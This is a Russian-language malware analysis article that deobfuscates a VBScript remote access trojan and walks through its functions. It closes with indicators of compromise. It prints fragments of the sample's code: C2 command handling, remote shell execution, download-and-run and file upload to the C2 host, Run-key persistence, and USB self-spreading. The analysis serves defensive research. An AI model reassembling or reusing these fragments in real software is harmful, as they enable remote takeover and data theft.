Разбор VBScript RAT: от HEX-обфускации до удалённого управления системой

—

от автора

Введение

На анализ поступил файл VEFLSQM. По результатам исследования он классифицирован как троян удалённого доступа (RAT).

Образец написан на VBScript и использует стандартные COM-компоненты Windows для работы с файловой системой, процессами, реестром и сетью. Основная логика скрыта за несколькими уровнями обфускации.

Первоначально файл содержит конструкции вида:

f=f&h("703D2822222222290D0A673D2876626372290D0A746578743D...")f=f&h("2E7368656C6C222670262229222667262264696D206673...")f=f&h("267026226D73786D6C322E786D6C687474702226672622...")

Здесь h() получает HEX-строку, а результат последовательно добавляется к переменной f.

После декодирования становится доступен второй уровень VBScript.

Снятие первого уровня обфускации

Для восстановления кода были извлечены все аргументы h(), содержащие HEX-данные. Далее каждый блок преобразовывался из HEX в байты и объединялся.

import refrom pathlib import Pathsrc = Path("1.vbs").read_text(    encoding="utf-8",    errors="ignore")chunks = re.findall(    r'f\s*=\s*f\s*&\s*h\("([0-9A-Fa-f]+)"\)',    src)print(f"[+] HEX blocks: {len(chunks)}")text = ''.join(    bytes.fromhex(chunk).decode("latin-1")    for chunk in chunks)text = text.replace("f!", "function")Path("decoded.vbs").write_text(    text,    encoding="utf-8")

После этого получается VBScript, в котором уже видны используемые объекты и основная логика RAT.

Важно отметить, что HEX в данном случае не является шифрованием. Это способ скрытия содержимого скрипта и усложнения поверхностного анализа.

Инициализация

Первое, что делает восстановленный скрипт, — создаёт необходимые COM-объекты:

dim shset sh = wscript.createobject("wscript.shell")dim fsset fs = createobject("scripting.filesystemobject")dim htpset htp = createobject("msxml2.xmlhttp")

Таким образом:

  • WScript.Shell используется для запуска процессов и работы с реестром;

  • Scripting.FileSystemObject — для работы с файлами и каталогами;

  • MSXML2.XMLHTTP — для HTTP-коммуникации.

Также определяется каталог, в котором находится скрипт:

path = fs.GetParentFolderName(WScript.ScriptFullName)

После этого включается:

On Error Resume Next

что позволяет продолжать выполнение при возникновении ошибок.

Обработка аргументов

Скрипт поддерживает аргумент командной строки:

Set Arg = WScript.Argumentsif Arg.length > 0 then    sh.Run "explorer /root," & ...End if

При наличии аргумента запускается explorer.exe с параметром /root, то есть открывается переданный путь.

C2 и основной цикл

После инициализации задаются параметры связи:

YUc5emRB = chrw(120)&chrw(110)&chrw(056)&...cG9ydA = Asc(chrw(200+26))YzNC = "<" & "|" & ">"sleep = 5000

Адрес C2 скрыт с помощью последовательности chrw().

Порт рассчитывается динамически:

cG9ydA = Asc(chrw(200+26))

Результат — 226.

После этого запускается основной цикл:

while true    i = i + 1    If i = 4 Then        install        i = 0    End If    response = post("is-ready","")    M2R = split(response,YzNC)    select case M2R(0)        ...    end select    wscript.sleep sleepwend

Скрипт регулярно обращается к C2, получает ответ, разбирает его и выполняет соответствующую команду.

Интересная деталь — функция install вызывается не только при первоначальном запуске. Она периодически вызывается внутри основного цикла.

Система команд

Ответ C2 разделяется через собственный разделитель:

M2R = split(response,YzNC)

Первая часть ответа определяет команду:

select case M2R(0)case "excecute"    param = M2R(1)    execute paramcase "update"    ...case "uninstall"    uninstallcase "send"    download M2R(1),M2R(2)case "site-send"    sitedownloader M2R(1),M2R(2)case "recv"    upload M2R(1)case "enum-driver"    post "is-enum-driver",enumdrivercase "enum-faf"    post "is-enum-faf",enumfaf(param)case "enum-process"    post "is-enum-process",enumprocesscase "M2R-shell"    post "is-M2R-shell",M2Rshell(param)case "delete"    deletefaf(param)case "exit-process"    exitprocess(param)case "sleep"    sleep = eval(param)end select

Таким образом, C2 управляет практически всеми основными функциями образца.

Выполнение команд

Для выполнения команд используется функция M2Rshell():

function M2Rshell(M2R)    set oexec = sh.exec("%comspec% /c " & M2R)    if not oexec.stdout.atendofstream then        readallfromany = oexec.stdout.readall    elseif not oexec.stderr.atendofstream then        readallfromany = oexec.stderr.readall    else        readallfromany = ""    end if    M2Rshell = readallfromanyend function

Команда из C2 передаётся в:

%comspec% /c <command>

После выполнения RAT читает stdout или stderr и возвращает результат оператору.

Работа с файлами

Для загрузки файла с C2 используется функция download().

objhttpdownload.open "post", _    "http://" & YUc5emRB & ":" & cG9ydA & _    "/is-sending" & YzNC & fileurl, falseobjhttpdownload.send ""

Полученное содержимое сохраняется через ADODB.Stream:

with objstreamdownload    .type = 1    .open    .write objhttpdownload.responsebody    .savetofile strsaveto    .closeend with

После сохранения файл запускается:

sh.run objfsodownload.getfile(strsaveto).shortpath

Таким образом, оператор может передать файл на заражённую машину и инициировать его запуск.

Загрузка файла с внешнего URL

Есть и второй механизм — sitedownloader().

В отличие от download(), он использует обычный HTTP GET:

objhttpdownload.open "get", strlink, falseobjhttpdownload.send

После получения ответа 200 данные записываются в файл через ADODB.Stream.

Это позволяет RAT загружать файлы не только непосредственно с C2, но и с указанного внешнего URL.

Передача файлов на C2

Обратная операция реализована функцией upload():

set objstreamuploade = createobject("adodb.stream")with objstreamuploade    .type = 1    .open    .loadfromfile fileurl    buffer = .read    .closeend with

После чтения файл отправляется:

htp.open "post", _    "http://" & YUc5emRB & ":" & cG9ydA & _    "/is-recving" & YzNC & fileurl, falsehtp.send buffer

Таким образом, реализована полноценная двусторонняя передача файлов.

Перечисление дисков

Функция enumdriver() перебирает все доступные диски:

for each drive in fs.drives    if drive.isready = true then        enumdriver = enumdriver & _            drive.path & "|" & _            drive.drivetype & YzNC    end ifnext

Для каждого доступного диска передаются путь и тип устройства.

Результат отправляется на:

/is-enum-driver

Перечисление файловой системы

Функция enumfaf() получает содержимое указанного каталога.

Для каталогов собираются имя, тип и атрибуты:

for each folder in fs.getfolder(enumdir).subfolders    ...next

Для файлов:

for each file in fs.getfolder(enumdir).files    ...next

Полученная информация отправляется на:

/is-enum-faf

Таким образом, оператор может удалённо просматривать файловую систему заражённой машины.

Перечисление процессов

Для получения списка процессов используется WMI:

set objwmiservice = _    getobject("winmgmts:\\.\root\cimv2")set colitems = _    objwmiservice.execquery( _        "select * from win32_process",,48)

Для каждого процесса собираются:

enumprocess = enumprocess & objitem.name & "|"enumprocess = enumprocess & objitem.processid & "|"enumprocess = enumprocess & objitem.executablepath & YzNC

Таким образом, C2 получает:

  • имя процесса;

  • PID;

  • путь к исполняемому файлу.

Завершение процессов

Отдельная функция exitprocess() получает PID и вызывает:

sh.run "taskkill /F /T /PID " & pid, 7, true

Ключи /F и /T обеспечивают принудительное завершение процесса вместе с дочерними процессами.

Сбор информации о системе

Функция information() собирает базовые сведения о заражённом хосте:

inf = "2__" & hwid & YzNCinf = inf & sh.expandenvironmentstrings("%computername%") & YzNCinf = inf & sh.expandenvironmentstrings("%username%") & YzNC

Через WMI дополнительно получается информация об операционной системе:

set root = getobject( _    "winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")set os = root.execquery( _    "select * from win32_operatingsystem")

Также собирается информация об установленном защитном ПО.

Формирование HWID

HWID реализован отдельной функцией.

Сначала выполняется запрос:

set disks = root.execquery( _    "select * from win32_logicaldisk")

После чего используется VolumeSerialNumber:

if disk.volumeserialnumber <> "" then    hwid = disk.volumeserialnumber

Таким образом, серийный номер логического диска используется в качестве идентификатора заражённого хоста.

C2-функция

Весь сетевой обмен централизован в функции post():

function post(M2R,param)    post = param    htp.open "post", _        "http://" & YUc5emRB & ":" & cG9ydA & _        "/" & M2R, false    htp.setrequestheader "user-agent:",information    htp.send param    post = htp.responsetextend function

Здесь есть важная деталь: в HTTP-заголовок User-Agent передаётся information.

То есть запрос к C2 содержит сведения о заражённой системе непосредственно в HTTP-заголовке.

Persistence

Механизм закрепления реализован в upstart():

sh.regwrite _    "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & _    split(aW5zdGF,".")(0), _    "wscript.exe //B //E:vbs " & _    chrw(34) & YVc1em & aW5zdGF & chrw(34), _    "REG_SZ"

Аналогичная запись выполняется в:

HKLM\Software\Microsoft\Windows\CurrentVersion\Run

После этого исходный скрипт копируется в %APPDATA%:

fs.copyfile _    wscript.scriptfullname, _    YVc1em & aW5zdGF, _    true

Таким образом, в системе появляется установленная копия RAT, запускаемая автоматически при входе пользователя.

Проверка установленной копии

После установки выполняется сравнение текущего файла с копией:

set scriptfullnameshort = fs.getfile(wscript.scriptfullname)set installfullnameshort = fs.getfile(YVc1em & aW5zdGF)if lcase(scriptfullnameshort.shortpath) <> _   lcase(installfullnameshort.shortpath) then    sh.run "wscript.exe //B //E:vbs " & _        chr(34) & YVc1em & aW5zdGF & Chr(34)    wscript.quitend if

Если выполняется исходный экземпляр, он запускает установленную копию и завершает себя.

Распространение через USB

Внутри install() реализовано перебирание дисков:

for each drive in fs.drives    if drive.isready = true then        if drive.freespace > 0 then            if drive.drivetype = 1 then                fs.copyfile _                    wscript.scriptfullname, _                    drive.path & "\" & aW5zdGF, _                    true

Для съёмного диска копируется текущий VBScript.

После этого файл получает атрибуты:

fs.getfile(...).attributes = 2+4

То есть:

2 = Hidden4 = System

Дополнительно создаются каталоги и .lnk-файлы, через которые запускается скрытый VBScript.

Таким образом, USB-носитель используется как механизм дальнейшего распространения вредоносной программы.

Обновление

Команда update позволяет заменить установленный VBScript:

oneonce.closeset oneonce = fs.opentextfile( _    YVc1em & aW5zdGF, 2, false)oneonce.write paramoneonce.close

После записи новой версии запускается обновлённый экземпляр:

sh.run "wscript.exe //B //E:vbs " & _    chr(34) & YVc1em & aW5zdGF & chr(34)wscript.quit

Таким образом, оператор может обновить код RAT без повторного заражения системы.

Самоудаление

Для удаления используется команда uninstall.

Удаление файлов и каталогов выполняется через:

fs.deletefile urlfs.deletefolder url

Дополнительно удаляются записи автозапуска и созданные .lnk-файлы.

Это позволяет оператору удалить установленный экземпляр после завершения работы.

Второй уровень обфускации

После снятия HEX-слоя сам VBScript всё ещё остаётся обфусцированным.

Код формируется как одна большая строка:

p=("""")g=(vbcr)text="dim sh "&g& _     "set sh = wscript.createobject("&p& _     "wscript.shell"&p&")"&g& ...

Используются:

  • p — хранение кавычек;

  • g — хранение перевода строки;

  • chrw() — формирование отдельных символов;

  • конкатенация строк;

  • короткие имена переменных;

  • скрытые строковые значения.

В конце сформированный код передаётся в:

ExecuteGlobal(...)

В результате реальная логика RAT формируется непосредственно во время выполнения.

Что в итоге делает образец

После восстановления кода функциональность образца можно представить следующим образом:

VEFLSQM | v HEX-обфускация | v восстановленный VBScript | +--------------+--------------+ | | | v v v WScript.Shell FileSystemObject XMLHTTP | | | | | v | | C2 | | | +--------------+--------------+ | v команды оператора | +--------------------+--------------------+ | | | | | v v v v vcmd.exe файлы процессы сбор обновление данных | | | | +----------+----------+---------+ | +-----------+-----------+ | | v v Run keys USB | | v v persistence spreading

IOC (Indicators of Compromise):

  • MD5: 2fa0e66d8cb4872ef3c6319a3641e2e8

  • SHA-1: fe9cff4c25aa36051ad8d038ecc79bd1ed9eb3e1

  • SHA-256: 00cc17f7380443b443de3aa92c7f9216653bdd40501aafc7185ee53e1c1b1079

  • C2-домен: xn.n..sytes.net

  • C2-порт: 226

  • C2 URL: http://xn.n..sytes.net:226/<endpoint>

  • Протокол: HTTP

  • Методы: GET, POST

  • Механизм HTTP-взаимодействия: MSXML2.XMLHTTP

  • SSDeep: 384:RIv91VF264GCNtZuCwvYVL+hrA/0o23xKP0HTZVm:Rq9N4NNHuCwvYVL+hrq0o2hKPl

Заключение

Исследованный файл VEFLSQM представляет собой VBScript Remote Access Trojan с HTTP-взаимодействием с C2.

В коде реализованы:

  • выполнение произвольных команд через %comspec%;

  • управление процессами;

  • перечисление процессов через WMI;

  • работа с файлами и каталогами;

  • загрузка файлов на заражённую систему;

  • выгрузка файлов на C2;

  • загрузка файлов с внешних URL;

  • сбор информации об ОС, пользователе и компьютере;

  • получение HWID;

  • определение установленного антивирусного ПО;

  • HTTP-коммуникация с C2;

  • persistence через Run;

  • копирование в %APPDATA%;

  • обновление собственного кода;

  • самоудаление;

  • распространение через USB;

  • скрытие вредоносных файлов атрибутами Hidden + System.

При этом shellcode, DLL-инъекция и отдельный механизм повышения привилегий в исследованном коде не обнаружены.

Основная особенность образца — реализация полноценного RAT исключительно средствами VBScript и стандартных компонентов Windows. Несколько уровней обфускации скрывают исходную логику, однако после восстановления кода становится видно, что скрипт предоставляет оператору практически полный набор функций для удалённого управления заражённой системой.

ссылка на оригинал статьи https://habr.com/ru/articles/1071524/